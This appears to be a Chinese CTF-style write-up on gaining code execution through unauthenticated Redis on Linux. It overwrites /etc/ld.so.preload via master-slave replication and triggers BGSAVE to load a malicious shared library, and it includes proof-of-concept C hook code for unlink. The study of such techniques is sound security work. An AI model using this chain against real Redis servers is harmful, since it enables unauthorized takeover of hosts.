这两天打春秋云境,新上的机子给了一个 Windows 环境下低版本 3.0.x 的 Redis,研究出来是打 DLL 劫持。我想到这个打法是否可以扩展到 Linux 环境上?

(这个打法适用环境可能比较少,因为 Windows 下 Redis 低版本是因为当时只更新到 3.x 的版本,Linux 下更多是 4、5、6 的版本。这些较高版本的攻击方式就比较多了,直接主从复制传过去个 so,加载 module 就 RCE 了。所以就写写看看吧,当成一个特殊情况的特解)

# 前置 1: 劫持 so 文件

Linux 环境下,glibc 会主动从几个位置查询会被预加载的 so 文件,顺序如下:

  1. LD_PRELOAD
  2. /etc/ld.so.preload 这个路径是被硬编码在 glibc 中,会读取其内容并加载指向的 so 文件
  3. LD_LIBRARY_PATH

如果这些位置没有搜索到,才会 fallback 到 /lib 或者 /usr/lib 中进入常规的共享库加载流程

Redis 未授权可以进行的操作中,可以通过主从复制无损写入文件。从而就可以实现覆盖 /etc/ld.so.preload 文件内容,使其指向我们同步过去的恶意 so 文件。这时当我们再创建新进程时,就会触发劫持实现 RCE

# 前置 2:Redis 触发点

在 Windows 下,DLL 劫持的打法是利用 dbghelp.dll 会被依赖,使用 bgsave 创建异步保存进程触发劫持。在 Linux 下,相似的思路也能触发:

寻找调用:在源码中全局搜索 bgsave 找到对应函数

image.png

寻找定义,发现是调用了 rdbSaveBackground 函数

void bgsaveCommand(redisClient *c) {
    if (server.rdb_child_pid != -1) {
        addReplyError(c,"Background save already in progress");
    } else if (server.aof_child_pid != -1) {
        addReplyError(c,"Can't BGSAVE while AOF log rewriting is in progress");
    } else if (rdbSaveBackground(server.rdb_filename) == REDIS_OK) {
        addReplyStatus(c,"Background saving started");
    } else {
        addReply(c,shared.err);
    }
}

继续追踪:

image.png

找到了子进程的运行逻辑,理论上这几个函数中的调用都可以尝试劫持

比如这一处:

void closeListeningSockets(int unlink_unix_socket) {
    int j;
    for (j = 0; j < server.ipfd_count; j++) close(server.ipfd[j]);
    if (server.sofd != -1) close(server.sofd);
    if (server.cluster_enabled)
        for (j = 0; j < server.cfd_count; j++) close(server.cfd[j]);
    if (unlink_unix_socket && server.unixsocket) {
        redisLog(REDIS_NOTICE,"Removing the unix socket file.");
        unlink(server.unixsocket); /* don't care if this fails */
    }
}

调用了 unlink

让 qwen 老师写一个劫持的共享库:

image.png

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
// 原始的 unlink 函数指针
typedef int (*original_unlink)(const char *pathname);
original_unlink real_unlink;
// 劫持后的 unlink 实现
int unlink(const char *pathname) {
    // 打印信息
    fprintf(stderr, "Intercepted unlink call for %s\n", pathname);
    system("touch /tmp/pwned")
    // 获取原始 unlink 函数地址
    if (!real_unlink) {
        real_unlink = (original_unlink)dlsym(RTLD_NEXT, "unlink");
    }
    // 调用真正的 unlink 函数
    return real_unlink(pathname);
}

然后把这个编译好的 so 文件主从复制上去 覆盖 ld.so.preload 再触发 bgsave 就能拿下主机了

不只是 bgsave,只要能创建新进程的指令都可以作为触发点。通过查询源码中的 fork 可以找到 BGREWRITEAOF 也是一个触发点。